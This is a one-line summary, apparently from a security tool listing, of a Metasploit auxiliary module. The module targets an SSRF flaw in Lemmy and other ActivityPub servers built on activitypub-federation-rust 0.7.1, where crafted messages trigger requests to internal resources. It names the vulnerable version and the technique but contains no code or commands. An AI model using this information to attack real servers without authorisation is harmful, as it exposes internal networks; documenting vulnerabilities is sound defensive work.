    [+] Summary    : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy / ActivityPub implementations using the activitypub-federation-rust 0.7.1 library. 
                     The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.
